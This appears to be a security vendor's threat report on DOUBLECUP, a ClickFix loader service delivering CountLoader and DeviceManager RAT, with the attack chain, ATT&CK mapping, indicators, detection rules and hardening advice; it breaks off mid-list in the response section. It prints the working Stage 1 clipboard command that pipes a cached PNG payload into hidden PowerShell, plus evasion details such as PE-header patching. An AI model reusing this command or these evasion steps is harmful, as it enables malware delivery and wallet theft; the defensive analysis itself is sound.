# DOUBLECUP

Loader-as-a-Service · ClickFix · PNG steganography · Windows & macOS · Active since June 2026

## Overview

DOUBLECUP is a Russian Loader-as-a-Service that provides ClickFix campaign infrastructure to operators who buy licenses and configure their own lure pages. Active since early June 2026, the service handles steganographic PNG hosting, session tracking, encryption keys, and automated payload rebuilding, while operators supply the phishing pages, embed the generated frontend code, and add any additional obfuscation they choose. Observed campaigns impersonated CRM login portals including NetSuite, Odoo, HubSpot, and Salesforce, injecting DOUBLECUP logic through embedded iframes.

The delivery chain has four tightly integrated steps: the lure page silently forces the victim's browser to cache a steganographic PNG image, copies a browser-specific clipboard command through a FakeCaptcha prompt, executes Stage 1 when the victim runs that command by locating the PNG by exact file size and extracting the payload with standard Windows tools, then runs Stage 2, which derives its decryption key from the victim's public IP address and reflectively loads the final payload in memory without writing any executable to disk.

[DOUBLECUP delivers two documented final payloads: an updated version of CountLoader and a previously undocumented RAT named DeviceManager.](https://thehackernews.com/2026/08/doublecup-uses-clickfix-and-cached-pngs.html) CountLoader 4.5p is a fileless PowerShell RAT that evades process-based detection by copying and patching the PE header metadata of legitimate Windows binaries, so every command it executes appears to come from a renamed, legitimate-looking process. A Mach-O variant provides equivalent functionality on macOS. DeviceManager resolves its C2 from an Ethereum or Polygon smart contract using the EtherHiding technique and communicates over DNS tunneling that mimics Microsoft telemetry queries. DeviceManager has a dedicated threat reference page at [ManageEngine Malware Protection Plus: DeviceManager RAT](https://www.manageengine.com/malware-protection/adversaries/devicemanager.html).

**Why this matters for defenders:** DOUBLECUP eliminates several detection anchors simultaneously. The payload never touches disk as an executable. The decryption key is derived from the victim's live network address, so any offline or sandboxed analysis produces a different key and fails entirely. Process execution runs under patched copies of legitimate Windows binaries, bypassing both process-name matching and PE header inspection. The FakeCaptcha delivery converts the user into the execution mechanism, making the malware invocation look like legitimate user activity in a parent-process tree.

**Verify before relying on this:** DOUBLECUP is an active service and operators rotate lure domains frequently. Network indicators expire quickly. Technical details are sourced from independent security research published, operators can rebuild payloads through the service, so hashes will rotate.

### Threat profile

| Detail | Value |
|---|---|
| Type | Loader-as-a-Service (LaaS) |
| Active since | Jun 2026 |
| Origin | Russian-linked, actor: Rognar |
| Status | Actively operating |
| Delivery | ClickFix · FakeCaptcha · browser-cached PNG |
| Extraction | certutil · findstr · LSB (by file size, not filename) |
| Sandbox bypass | Environmental keying via victim public IP (PBKDF2) |
| Final payloads | CountLoader 4.5p (Win/macOS) · DeviceManager RAT |
| Targets | Windows · macOS (Intel + Apple Silicon) |
| Lure themes | NetSuite · Odoo · HubSpot · Salesforce login pages |
| C2 model | HTTP (CountLoader) · DNS tunneling / EtherHiding (DeviceManager) |

## Operational attack chain

1. **Victim lands on fake CRM login page**
   - NetSuite / Odoo / HubSpot / Salesforce impersonation with DOUBLECUP iframe.
2. **Session registration + PNG pre-caching** (`T1016`)
   - Browser silently downloads and caches the steganographic PNG. Victim IP logged. Browser-specific clipboard command staged.
3. **FakeCaptcha clipboard hijack** (`T1204.004`)
   - Victim is instructed to paste and run the copied command. Command locates PNG by exact file size, not filename.
4. **Stage 1: PNG payload extraction** (`T1027.003`)
   - certutil / findstr / LSB extracts embedded code from cached PNG. Stage 1 signals infection, triggers Stage 2.
5. **Stage 2: Environmental keying + reflective load** (`T1480.001`, `T1620`)
   - Victim's public IP used as PBKDF2 key. SHA-256 CTR + XOR decrypts payload in memory. .NET assembly reflectively loaded. Sandbox bypass: wrong IP = wrong key.
6. **CountLoader 4.5p: PE header patching** (`T1036.003`)
   - Copies conhost.exe / powershell.exe / mshta.exe, patches PE metadata with legitimate auto-start names. All execution via disguised binaries.
7. **Dual scheduled-task persistence** (`T1053.005`)
   - `GoogleUpdateService<GUID>` + `MSEdgeUpdateService<GUID>`: wake up, beacon, die. Active for seconds; hard to catch.
8. **Reconnaissance, wallet theft, secondary payload delivery**
   - Hardware fingerprint, AV, domain status, crypto wallets, 48 browser extension IDs, Signal Desktop profiled. DeviceManager RAT optionally delivered.

DOUBLECUP converts the user into the execution mechanism. There is no exploit, no vulnerable software, and no external dropper. The entire chain runs through standard Windows tools (`cmd`, `certutil`, `findstr`, PowerShell) invoked by the victim themselves, which means parent-process and command-line telemetry carry more detection value than file hashes or network signatures.

## Tactics, techniques, and procedures

DOUBLECUP concentrates heaviest in Defense Evasion, Execution, and Persistence. Its defining characteristic is layered evasion at every stage: steganographic delivery, environmental-key sandbox bypass, reflective in-memory loading, and PE-header masquerading for all subsequent execution. The mapping below covers the full DOUBLECUP loader chain and CountLoader 4.5p. DeviceManager's separate MITRE coverage is documented on its own threat reference page.

### MITRE ATT&CK coverage

| Tactic | Coverage |
|---|---|
| Recon | 0 — Not observed |
| Resource Development | 2 — Active |
| Initial Access | 2 — Active |
| Execution | 6 — Heavy |
| Persistence | 4 — Heavy |
| Privilege Escalation | 0 — Not observed |
| Defense Evasion | 6 — Heavy |
| Credential Access | 0 — Not observed |
| Discovery | 6 — Heavy |
| Lateral Movement | 1 — Active |
| Collection | 2 — Active |
| Command and Control | 4 — Heavy |
| Exfiltration | 0 — Not observed |
| Impact | 0 — Not observed |

### Technique detail

| Tactic | Techniques | What DOUBLECUP does | Defender telemetry |
|---|---|---|---|
| Resource Development | [Domains T1583.001](https://attack.mitre.org/techniques/T1583/001/); [Web Services T1583.006](https://attack.mitre.org/techniques/T1583/006/) | Operates a licensed panel with multiple utilities and manages infrastructure including steganographic PNG hosting, session and signal endpoints, and payload auto-rebuilding. Uses a Telegram bot (`@harrypoterlohBOT`) for operational notifications. Operators registered phishing domains impersonating CRM portals (`login-netsuite[.]com`, `login-hubspot[.]com`, `verification-salesforce[.]com`, and others). | Newly registered domains with `-netsuite`, `-hubspot`, `-salesforce`, `-odoo` in the name; Telegram bot activity from build infrastructure; DOUBLECUP license panel exposed at port 9090. |
| Initial Access | [Spearphishing Link T1566.002](https://attack.mitre.org/techniques/T1566/002/); [Drive-by Compromise T1189](https://attack.mitre.org/techniques/T1189/) | Entry is through phishing links directing victims to fake CRM login pages. Observed lures impersonate NetSuite, Odoo, HubSpot, and Salesforce login portals. DOUBLECUP code is injected via embedded iframes into the operator's phishing page. On page load the browser immediately starts pre-caching the PNG; no user interaction beyond visiting the page is required for staging to complete. | Proxy/DNS logs for phishing domains; user navigating to a login page that contains an iframe loading a DOUBLECUP `/api/config` endpoint; browser downloading a large PNG immediately on page load. |
| Execution | [Malicious Copy-Paste T1204.004](https://attack.mitre.org/techniques/T1204/004/); [PowerShell T1059.001](https://attack.mitre.org/techniques/T1059/001/); [Windows Command Shell T1059.003](https://attack.mitre.org/techniques/T1059/003/); [Python T1059.006](https://attack.mitre.org/techniques/T1059/006/); [WMI T1047](https://attack.mitre.org/techniques/T1047/); [Native API T1106](https://attack.mitre.org/techniques/T1106/) | The FakeCaptcha places a browser-specific command into the clipboard and instructs the victim to run it. The command uses cmd, for loops with wildcards (`pow?r?hell.exe`), and findstr or certutil to locate and extract the PNG payload. PowerShell runs Stage 2 and is the core execution engine for CountLoader 4.5p. Python, downloaded as an embeddable package, handles CountLoader's primary persistence task. WMI is used by both CountLoader and DeviceManager for system information discovery. | `cmd.exe` spawned interactively from Run dialog or console; findstr or certutil reading files from browser cache directories; PowerShell with wildcarded binary names; embeddable Python package downloaded to `USERPROFILE`; WMI Win32 queries from a non-system process. |
| Persistence | [Scheduled Task T1053.005](https://attack.mitre.org/techniques/T1053/005/); [WMI Event Subscription T1546.003](https://attack.mitre.org/techniques/T1546/003/); [Shortcut Modification T1547.009](https://attack.mitre.org/techniques/T1547/009/); [Launch Agent T1543.001](https://attack.mitre.org/techniques/T1543/001/) | CountLoader creates two scheduled tasks: `GoogleUpdateService<GUID>` runs a downloaded Python environment to re-fetch CountLoader from C2 every 25 minutes; `MSEdgeUpdateService<GUID>` is a fallback that runs the headless patched `conhost.exe` to pull and run CountLoader. Both tasks delete their XML definitions after creation. DeviceManager includes WMI Event Subscription components `PythonAppTimer_600`, `PythonAppUpdateFilter`, and `PythonAppUpdateConsumer`. The macOS Mach-O variant persists using a LaunchAgent `.plist` file in `~/Library/LaunchAgents/`. | New scheduled tasks named `GoogleUpdateService<GUID>` or `MSEdgeUpdateService<GUID>`; Event ID 4698; WMI objects in `root\subscription`; `.plist` files in LaunchAgents referencing `pythonw.exe`; Python 3.13 embeddable package downloaded to `USERPROFILE`. |
| Defense Evasion | [Steganography T1027.003](https://attack.mitre.org/techniques/T1027/003/); [Environmental Keying T1480.001](https://attack.mitre.org/techniques/T1480/001/); [Reflective Code Loading T1620](https://attack.mitre.org/techniques/T1620/); [Rename Legitimate Utilities T1036.003](https://attack.mitre.org/techniques/T1036/003/); [Obfuscated Files T1027](https://attack.mitre.org/techniques/T1027/); [Deobfuscate/Decode T1140](https://attack.mitre.org/techniques/T1140/) | Malicious code is embedded in a PNG image cached by the browser and located by file size rather than filename. Stage 2 uses PBKDF2 to derive its decryption key from the victim's live public IP. The final payload is reflectively loaded as a .NET assembly and never written to disk as an executable. CountLoader uses D/Invoke and a custom Regex-based JSON parser to bypass AMSI and avoid monitoring on `ConvertFrom-Json`. All execution runs through copies of legitimate Windows binaries with patched PE headers. PowerShell command-line obfuscation uses wildcards. Stage 2 XOR-obfuscates .NET namespace strings with key 210. | Browser caching a PNG immediately on page load; findstr or certutil reading browser cache paths; no PE file written before payload execution; `schtask` or `cmd.exe` running a binary with a legitimate auto-start name from a user-writable path; D/Invoke loaded via reflection; AMSI bypass attempts; short-lived process pairs. |
| Discovery | [System Information T1082](https://attack.mitre.org/techniques/T1082/); [File and Directory T1083](https://attack.mitre.org/techniques/T1083/); [Network Config T1016](https://attack.mitre.org/techniques/T1016/); [Security Software T1518.001](https://attack.mitre.org/techniques/T1518/001/); [Query Registry T1012](https://attack.mitre.org/techniques/T1012/); [Local Groups T1069.001](https://attack.mitre.org/techniques/T1069/001/) | CountLoader profiles victims with WMI `Win32_Processor`, `Win32_ComputerSystemProduct`, `Win32_DiskDrive`, `Win32_OperatingSystem`, and `rootSecurityCenter2/AntiVirusProduct`. It checks HKLM security descriptors for administrator privilege, Ledger Live paths, 45 browser User Data directories for 48 extension IDs, and Signal Desktop. Public IP is resolved through actor-controlled or third-party APIs such as `ip-api.com`. | WMI queries to processor, disk, and AV classes from a short-lived non-system process; reads across 45 browser User Data directories for extension manifests; `HKLM\MachineGuid` read; IP resolution queries to `ip-api.com` from a process that should not need network location. |
| Lateral Movement | [Shortcut Modification T1547.009](https://attack.mitre.org/techniques/T1547/009/) | CountLoader includes a USB and network-share worming command that scans connected logical and physical drives, drops malicious LNK shortcuts pointing to `mshta.exe`, and enables spread to USB drives and network shares. A browser shortcut hijacking capability can rewrite `.lnk` desktop shortcuts to launch CountLoader alongside the legitimate browser. | Malicious LNK creation on USB drives or network shares pointing to `mshta.exe`; modification of browser shortcuts in desktop or Start Menu locations; unexpected `mshta.exe` launch from a shortcut target. |
| Collection | [Data from Local System T1005](https://attack.mitre.org/techniques/T1005/); [Windows Credential Manager T1555.004](https://attack.mitre.org/techniques/T1555/004/) | CountLoader audits browser extensions for 48 cryptocurrency wallet extension IDs across 45 browsers and checks for Ledger Live and hardware wallet software. It profiles the system for Signal Desktop. This reconnaissance data is packaged and sent to the C2 on first beacon. | A short-lived process reading browser extension `manifest.json` files across 45 browser User Data directories; `APPDATA` reads for `@trezor`, atomic, Exodus, Guarda, KeepKey, and Ledger Live; `APPDATA` read for Signal. |
| Command and Control | [Web Protocols T1071.001](https://attack.mitre.org/techniques/T1071/001/); [Symmetric Cryptography T1573.001](https://attack.mitre.org/techniques/T1573/001/); [Ingress Tool Transfer T1105](https://attack.mitre.org/techniques/T1105/); [Dead Drop Resolver T1102.001](https://attack.mitre.org/techniques/T1102/001/) | DOUBLECUP session endpoints (`/session/reg`, `/session/check`, `/session/signal`) track infection status over HTTP. CountLoader uses an HTTP GET beacon with a random six-digit XOR key prepended to hex-encoded telemetry; responses are a JWT token used for Bearer authorization. The C2 can push 11 command types. DeviceManager uses EtherHiding to resolve C2 from an Ethereum smart contract, with ChaCha20 decryption keyed on the contract address as the nonce. | HTTP GET to `/connect?key1=value1...` with a 20-character campaign token; `Authorization: Bearer` headers in POST requests; `eth_call` JSON-RPC requests to Sepolia testnet RPC endpoints from non-blockchain processes; outbound DNS TXT queries with long base64 labels ending in `.microsoft.com` but resolving to non-Microsoft infrastructure. |
| Reconnaissance / Privilege Escalation / Credential Access / Exfiltration / Impact | — | No pre-attack reconnaissance, local privilege escalation, or destructive impact has been documented. Credential access is focused on wallet extension enumeration rather than platform credential theft. Data leaves the environment as part of the C2 beacon rather than through a dedicated exfiltration channel. |  |

### Stage 1: How the attack starts

`T1566.002` · `T1204.004` · `T1027.003`

DOUBLECUP campaigns begin with a phishing page, not an exploit. Documented lure pages impersonate CRM login portals, including NetSuite, Odoo, HubSpot, and Salesforce, using look-alike registered domains such as `login-netsuite[.]com`, `login-hubspot[.]com`, and `verification-salesforce[.]com`. They inject DOUBLECUP code through an embedded iframe. When a victim loads the page, the victim's public IP is logged, the browser is forced to prefetch and cache a steganographic PNG image, and the service evaluates the browser User-Agent to select a matching clipboard command.

The FakeCaptcha prompt instructs the victim to paste and run the copied command. This is the only user interaction required. A representative Edge variant looks like this:

```batch
cmd /c for /f "delims=" %p in ('where pow?r?hell.exe') do @for /r "C:\Users\<Username>\AppData\Local\Microsoft\Edge\User Data" %f in (f_*) do @if %~zf==304204 start "" /min cmd /c findstr "ZZ1984" "%f"|"%p" -NoP -W Hidden -EP B -C -
```

Three elements of this command are worth noting for defenders:

- The PowerShell binary is referenced with a wildcard, `pow?r?hell.exe`, to obfuscate it from naive string matching and bypass application-name filters.
- The PNG is located by its exact file size, 304204 bytes in this example, rather than by filename.
- The DOUBLECUP service polls for execution confirmation at one-to-three-second intervals. Once the victim runs the command, it signals the server, marks the session as infected, and redirects the browser to a benign destination page.

### Stage 2: What runs on the endpoint

`T1480.001` · `T1620` · `T1027`

Stage 1 extracts a secondary script from the PNG using certutil, findstr, or Least Significant Bit extraction, depending on operator configuration. This script signals the C2 server and launches Stage 2. Stage 2 is the DOUBLECUP dropper, an obfuscated fileless component that uses XOR key 210 to reconstruct critical .NET class names at runtime rather than storing them as plain strings.

The most significant capability in Stage 2 is environmental keying. Before decrypting the final payload, the dropper resolves the victim machine's public IPv4 address through external IP-echo services. That IP string passes through PBKDF2 to derive a 32-byte base key, which is used in a custom SHA-256 Counter-mode stream cipher combined with bitwise XOR to decrypt the payload byte array. If an analyst detonates the same script in a sandbox, offline environment, or from an IP outside the operator's target set, the derived key is wrong and the payload remains encrypted. The final payload is validated against a hardcoded SHA-256 integrity hash before execution.

After successful decryption, the dropper reflectively loads the resulting .NET assembly into the running process's memory. No executable binary is written to disk. The victim is redirected to the legitimate login page of the impersonated service.

### Stage 3: How the malware evades detection

`T1036.003` · `T1053.005` · `T1059.001`

CountLoader 4.5p's primary evasion is in-place PE header modification of legitimate Windows binaries. On execution, the RAT locates `conhost.exe`, `powershell.exe`, and `mshta.exe` in System32, then queries Run registry keys, the Startup folder, and System32 to harvest three legitimate auto-start application names currently on the system, such as `OneDrive.exe` or `svchost.exe`.

It copies the system binaries into a user-writable directory in `$env:PATH` or `$env:USERPROFILE`, naming each with a single-character prefix: `c` for conhost, `p` for PowerShell, and `m` for mshta. For example, if it harvested `OneDrive.exe`, the copied PowerShell executable becomes `pOneDrive.exe`.

The malware reads each binary's raw bytes and overwrites UTF-16LE metadata in the PE version resource block, specifically `OriginalFilename`, `InternalName`, and `FileDescription`, with the legitimate application string. Subsequent CountLoader execution occurs only through these disguised copies. A process-name rule looking for `powershell.exe` or `conhost.exe` will not fire, and PE header inspection will report the binary as the impersonated application. Only a hash check or path-plus-metadata correlation catches it.

The AMSI bypass uses D/Invoke through .NET reflection rather than patching the `amsi.dll` buffer directly. The JSON command parser uses a custom Regex implementation:

```text
".*?"s*:s*(".*?"|d+.d+|d+)
```

This builds hashtables without invoking `ConvertFrom-Json`, which is heavily monitored by EDR products. The persistence cycle is designed around brevity: each task fires every 25 minutes, the process runs for seconds, and then terminates.

### Stage 4: What it targets and the macOS path

`T1082` · `T1083` · `T1518.001` · `T1059.004` · `T1543.001`

CountLoader's first C2 beacon includes a comprehensive host fingerprint:

- Hardware ID combining processor, UUID, and disk serial hashed together
- Exact Windows version and architecture
- Installed antivirus products
- Username, with an asterisk if the process has administrator rights
- Domain membership
- Installed Ledger Live and other hardware wallet software
- 48 browser extension IDs from 45 browser User Data directories
- Signal Desktop installation status

CountLoader supports eleven C2 commands, including downloading and executing an executable, archive download-unpack-execute, `rundll32` execution, persistence cleanup, in-memory PowerShell modules, silent MSI installation, USB and network-share worming, `mshta.exe` execution of a remote URL, and PE-patching with Python-based persistence setup.

**macOS path.** If a macOS visitor reaches the lure page, a dedicated downloader fetches the Mach-O CountLoader variant, compiled as a universal binary for Intel (`x86_64`) and Apple Silicon (`arm64`). The macOS variant maintains feature parity with Windows but uses a LaunchAgent `.plist` in `~/Library/LaunchAgents/` loaded with `launchctl`. System profiling uses native Unix commands through `popen()` and `system()` calls, including `sw_vers`, `system_profiler SPHardwareDataType`, and `ioreg -rd1 -c IOPlatformExpertDevice`; `curl` handles C2 communication.

### Process tree

```text
browser (Edge / Chrome / Firefox)                                  // victim visits fake CRM login page; PNG prefetched silently
└─ Run dialog / cmd.exe                                            // victim pastes FakeCaptcha clipboard command [T1204.004]
   └─ cmd.exe /c for /f ... where pow?r?hell.exe ... if %~zf==304204 findstr "ZZ1984" ...
      └─ powershell.exe -NoP -W Hidden -EP B -C -                  // Stage 1: PNG payload extracted from browser cache [T1027.003]
         └─ powershell.exe                                         // Stage 2: public-IP resolution, PBKDF2, SHA-256 CTR + XOR [T1480.001]
            └─ [.NET assembly reflectively loaded in memory]      // CountLoader 4.5p; no executable written to disk [T1620]

CountLoader execution begins
pOneDrive.exe                                                      // patched powershell.exe with OneDrive.exe PE metadata [T1036.003]
├─ WMI queries Win32_Processor, Win32_DiskDrive, AntiVirusProduct, Win32_OperatingSystem [T1082]
├─ reads 45 browser User Data directories                          // 48 crypto-wallet extension IDs + Ledger Live
├─ HTTP GET /connect?hwid=...&av=...&wallets=...&extlist=...&signal=...
└─ schtasks /Create /TN "GoogleUpdateService{GUID}"               // primary 25-minute persistence task [T1053.005]
   └─ schtasks /Create /TN "MSEdgeUpdateService{GUID}"            // fallback 25-minute task
      └─ [process terminates; relaunches via task every 25 min, active seconds only]
```

## Where Malware Protection Plus fits

DOUBLECUP is a browser-to-endpoint attack. The browser-side caching and clipboard hijack happen outside a managed endpoint agent's direct visibility, but the endpoint-side execution is rich with detectable signals. [Malware Protection Plus](https://www.manageengine.com/malware-protection/) focuses on the Windows-side behavioral chain where detection is reliable regardless of how the payload arrived.

Key behavioral signals include:

- `cmd.exe` or PowerShell spawned interactively from the Run dialog reading browser-cache paths with certutil or findstr
- A short-lived PowerShell process making outbound HTTP requests to IP-echo services immediately followed by encrypted payload decryption
- New scheduled tasks named `GoogleUpdateService` or `MSEdgeUpdateService` created by a user process
- A Windows binary running from a user-writable path whose PE metadata matches a legitimate auto-start application
- WMI queries to `AntiVirusProduct`, wallet paths, and browser extension directories from a non-system process

Malware Protection Plus can detect these behaviors, isolate affected endpoints to stop C2 beaconing and persistence tasks, and capture process lineage and artifacts for investigation.

The environmental-keying sandbox bypass and reflective in-memory loading mean that offline dynamic analysis is not straightforward. Behavioral endpoint detection covering the extraction chain and PE-patched process execution provides coverage independent of successful payload decryption.

## Indicators of compromise

DOUBLECUP operators can rebuild payloads through the service, so file hashes rotate. Durable behavioral and artifact indicators outlast hash rotation and infrastructure changes. Volatile indicators are specific to August 2026 campaign documentation and should be expected to change.

### Durable — process and command patterns

| Indicator | Description |
|---|---|
| `cmd /c for /f ... where pow?r?hell.exe ... if %~zf==<size> findstr "ZZ1984" "%f"` | Stage 1 extraction command; `ZZ1984` is the findstr marker; PNG is located by exact file size. |
| `certutil` or `findstr` reading files from browser cache directories | Browser paths include `AppData\Local\[Browser]\User Data`; rare in legitimate workflows. |
| PowerShell querying `ip-api.com` or an IP-echo service immediately before in-memory payload decryption | Environmental keying step; IP resolution occurs immediately before Stage 2 XOR decryption. |
| Windows binary copy of `conhost`, `powershell`, or `mshta` running from user-writable PATH with PE metadata matching a legitimate auto-start app | CountLoader PE-header patching masquerade; system binary hash but path is under `USERPROFILE`. |
| Scheduled task `GoogleUpdateService<GUID>` or `MSEdgeUpdateService<GUID>` created by a user-context process | CountLoader dual-task persistence; Event ID 4698; XML definition deleted after creation. |
| WMI `AntiVirusProduct` queries plus 45 browser User Data directory reads and `APPDATA` wallet checks from one short-lived process | CountLoader first-beacon reconnaissance, often followed by HTTP GET to `/connect?hwid=...&key=K94DGQ99VYCCH52TKOT2`. |

### Durable — host artifacts

| Artifact | Description |
|---|---|
| `%USERPROFILE%\Python313\` | CountLoader embeddable Python 3.13 download path; `App.py` dropped here. |
| `%USERPROFILE%\App_<GUID>.py` | CountLoader Python masquerading script dropped by persistence task. |
| `%LOCALAPPDATA%\DeviceManager\` | DeviceManager RAT directory, containing `config.json`, `agent.log`, and `agent_main.pyw`. |
| `MicroUpdaterV1` | DeviceManager scheduled-task persistence name; `PythonAppUpdater` is a fallback name. |
| `PythonAppUpdateFilter`, `PythonAppUpdateConsumer`, `PythonAppTimer_600` | DeviceManager WMI event-subscription persistence components in `root\subscription`. |
| `~/Library/LaunchAgents/[plist referencing pythonw.exe path]` | macOS CountLoader LaunchAgent persistence. |

### Volatile — network indicators

| Indicator | Description |
|---|---|
| `213.139.77[.]109`, `80.96.109[.]229`, `167.148.201[.]131`, `89.124.117[.]12`, `103.22.137[.]227`, `146.70.124[.]154` | DOUBLECUP license panel and server infrastructure IPs. |
| `91.92.240[.]100`, `67.219.107[.]181` | DeviceManager DNS C2 and DOUBLECUP payload builder. |
| `login-netsuite[.]com`, `login-odoo[.]com`, `verification-salesforce[.]com`, `login-salesforce[.]com`, `login-hubspot[.]com` | Documented phishing pages injecting DOUBLECUP. |
| `0xc027490AF56a9d7050fc259Ecd03DA1580b84aae` | DeviceManager EtherHiding C2-resolution smart contract on Sepolia testnet; `eth_call` selector `0x1dcf296b`. |

### Volatile — file hashes (SHA-256)

| SHA-256 | Description |
|---|---|
| `882914f9014f14e89123e835f103ac8f9d4b2e358c1f21c1cbc7f1054e6afed6` | DOUBLECUP client, Go Windows GUI application. |
| `28cbbca8099bb1b27668d135314842c69ceb478a7d6b4b08f063d106a06c8f9d` | DOUBLECUP Stage 2 / steganographic PNG. |
| `bdf28e611d77362c40a0445655a35943c03accf21bb9a5af755da7eac5ea5e40` | CountLoader 4.5p for Windows. |
| `08730fda7366104b1461b12834f55723381bf34a234947689c708b1ee431af69` | AppleIDVerificationService, macOS CountLoader Mach-O. |
| `6e08cb5602f63bee2b40739167b4aef77763bc8fb47b4839ca2fc1607ad35cba` | `MicroUpdaterV1.exe`, DeviceManager installer. |

## Detection guidance

Hash-based detection fails here: payloads are rebuilt on demand, the final executable never touches disk, and CountLoader runs inside copies of legitimate binaries. The detections below are behavioral and survive payload rotation. ClickFix works because the user is the executor, so the parent-process chain is unusually short and command-line content is the primary signal.

### 1. certutil or findstr reading browser cache directories

**Telemetry:** Process / command-line telemetry

Alert on `certutil.exe` or `findstr.exe` reading files from browser cache paths, including `AppData\Local\Microsoft\Edge\User Data`, `AppData\Local\Google\Chrome\User Data`, and equivalent Firefox or Brave paths, especially when invoked from a `cmd.exe` spawned interactively or from the Run dialog.

**Why it works:** certutil and findstr have legitimate uses, but reading binary files from browser cache directories is not among them. This command pattern is specific to DOUBLECUP's PNG extraction step.

### 2. PowerShell wildcards in system binary names

**Telemetry:** Process / command-line telemetry

Alert on wildcarded PowerShell references such as `pow?r?hell.exe`, `p*ershell.exe`, or similar one-character substitution patterns, particularly in `cmd.exe` command lines with for-loop file enumeration.

**Why it works:** Wildcarding is designed to bypass allow-list rules checking for the literal string `powershell.exe`. This pattern does not normally appear in legitimate administrative scripts.

### 3. IP-echo service resolution before in-memory XOR decryption

**Telemetry:** Network / process telemetry

Alert on outbound HTTP or HTTPS requests to IP-echo services such as `ip-api.com`, `api.ipify.org`, or `checkip.amazonaws.com`, made by PowerShell spawned from `cmd.exe` within seconds of a browser-cache file read. IP resolution followed rapidly by large array operations in the same process indicates environmental keying.

**Why it works:** Legitimate PowerShell scripts in user interactive sessions rarely need their own public IP before performing other actions. This sequence is specific to Stage 2 environmental keying.

### 4. Windows system binary running from a user-writable path with mismatched PE metadata

**Telemetry:** Process / file telemetry

Alert on executables that hash-match a known Windows binary such as `conhost.exe`, `powershell.exe`, or `mshta.exe` but execute from a user-writable directory such as `USERPROFILE`, `AppData`, or PATH locations outside System32. Correlate with PE header metadata differing from the expected `OriginalFilename`.

**Why it works:** CountLoader copies and patches these binaries to evade process-name rules. A known system-binary hash running from the wrong path with patched metadata is a high-confidence masquerade indicator.

### 5. Scheduled tasks named GoogleUpdateService or MSEdgeUpdateService with GUID suffixes

**Telemetry:** Task Scheduler / Event ID 4698

Alert on Event ID 4698 where task names contain `GoogleUpdateService` or `MSEdgeUpdateService` followed by a GUID, particularly when tasks launch Python from a `USERPROFILE` path or a patched copy of a system binary. Also alert when a task XML file such as `%TEMP%\t.xml` is created and deleted within seconds.

**Why it works:** CountLoader uses these names to impersonate Google and Microsoft update services. Legitimate update services do not append random GUIDs and are created by system installers, not user-context PowerShell processes.

### 6. WMI event-subscription objects created without wmic.exe or PowerShell in the process tree

**Telemetry:** WMI / kernel telemetry

Alert on creation of WMI objects in the `root\subscription` namespace, including `CommandLineEventConsumer`, `__EventFilter`, and `__FilterToConsumerBinding`, where the creating process is Python (`pythonw.exe`) rather than `wmic.exe` or PowerShell. DeviceManager uses ctypes COM APIs directly to create these objects.

**Why it works:** WMI event subscriptions created by Python are anomalous in enterprise environments. Monitoring WMI namespace modifications rather than only the process lineage catches this bypass.

### 7. eth_call JSON-RPC traffic from non-blockchain processes

**Telemetry:** Network / proxy telemetry

Alert on outbound HTTPS carrying `eth_call` JSON-RPC method calls, particularly to Sepolia or Polygon RPC endpoints, from endpoints without documented blockchain development workloads. DeviceManager also produces DNS queries with subdomains ending in `.microsoft.com` that resolve to non-Microsoft IP addresses.

**Why it works:** EtherHiding stores C2 addresses on a blockchain. The blockchain query is a persistent network artifact that does not change with infrastructure rotation. DNS TXT queries that imitate Microsoft domains but resolve externally are also anomalous.

### 8. Embeddable Python 3.13 package downloaded to USERPROFILE by a scheduled task

**Telemetry:** Network / file telemetry

Alert on downloads of Python embeddable packages such as `python-3.13.*-embed-*.zip` to user-profile directories, especially when initiated by a scheduled task. Extraction of `pythonw.exe` into `USERPROFILE\Python313` is a durable CountLoader persistence artifact.

**Why it works:** Downloading and extracting a Python runtime into a user profile from a scheduled task is not normal behavior for legitimate Python installers. It is specific to CountLoader's primary persistence mechanism.

Detections 01 through 03 fire during the ClickFix execution chain before CountLoader runs. Detections 04 and 05 fire during CountLoader setup. Detection 06 fires during DeviceManager persistence. Detections 07 and 08 are persistent C2 and infrastructure signals. Catching DOUBLECUP at detection 01 or 02 means the final payload has not yet executed; catching it at detection 04 or later means CountLoader is installed and full remediation is necessary.

## Hardening and response recommendations

DOUBLECUP depends on users running clipboard commands, standard Windows utilities accessing browser cache, and Python installing freely into user-writable paths. The controls below target those dependencies. **Quick win** means a single configuration change deployable in days. **Standard** requires a rollout or architectural change and is deployable in weeks.

### 1. Educate users on ClickFix and FakeCaptcha lures

**Quick win**

DOUBLECUP has no exploit. Execution starts only when a user pastes a command that a website instructs them to run. Training users to recognize that no legitimate CAPTCHA or browser verification requires a command in Windows Run or a terminal removes the critical dependency.

**Do:** Include ClickFix scenarios in security awareness training using fake CRM login-page examples. Users should know that no CRM or cloud service asks them to open Windows Run and paste a command as a login verification step.

### 2. Block or restrict execution from user-writable PATH directories

**Standard**

CountLoader stages patched binary copies in `USERPROFILE` directories that appear in PATH. Application-control policies such as AppLocker or WDAC that restrict executable loading from user-writable locations prevent these patched binaries from running.

**Path:** Configure AppLocker or WDAC Executable rules to deny execution from `USERPROFILE`, `AppData`, `Temp`, and other user-writable directories for users who should not install software. This also blocks embeddable Python persistence.

### 3. Restrict certutil and mshta.exe from accessing browser cache paths

**Standard**

`certutil.exe` and `mshta.exe` are built-in Windows tools frequently abused as LOLBins. Blocking certutil from reading files in browser User Data directories and restricting `mshta.exe` removes two of the three Stage 1 extraction methods.

**Do:** Apply WDAC rules preventing `certutil.exe` from opening file handles under `AppData\Local\Microsoft`, `AppData\Local\Google`, and equivalent browser cache paths. Monitor `mshta.exe` execution not traceable to a documented application installer.

### 4. Enforce PowerShell Constrained Language Mode and AMSI logging

**Standard**

CountLoader 4.5p uses D/Invoke and custom Regex parsing to bypass AMSI and evade monitored PowerShell cmdlets such as `ConvertFrom-Json`. Constrained Language Mode and script-block logging increase the cost of fileless execution and preserve forensic evidence.

**Path:** Enable Script Block Logging under:

```text
Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Script Block Logging
```

Deploy Constrained Language Mode through WDAC or AppLocker for non-developer users. Store script-block logs off-host.

### 5. Block outbound access to blockchain RPC endpoints

**Quick win**

DeviceManager's EtherHiding C2 resolution requires outbound access to Ethereum or Polygon RPC endpoints over HTTPS. Endpoints without blockchain-development workloads have no legitimate reason to contact these services.

**Do:** Add Sepolia, Polygon, and Ethereum mainnet RPC endpoints, including `eth-sepolia.g.alchemy.com`, `rpc.ankr.com`, and `infura.io`, to a deny-by-default proxy category for non-developer endpoints.

### 6. Respond: isolate, hunt persistence artifacts, rotate credentials

**Quick win**

On suspected DOUBLECUP activity, isolate the endpoint before remediation to stop the 25-minute scheduled task from beaconing again. Hunt for all persistence forms:

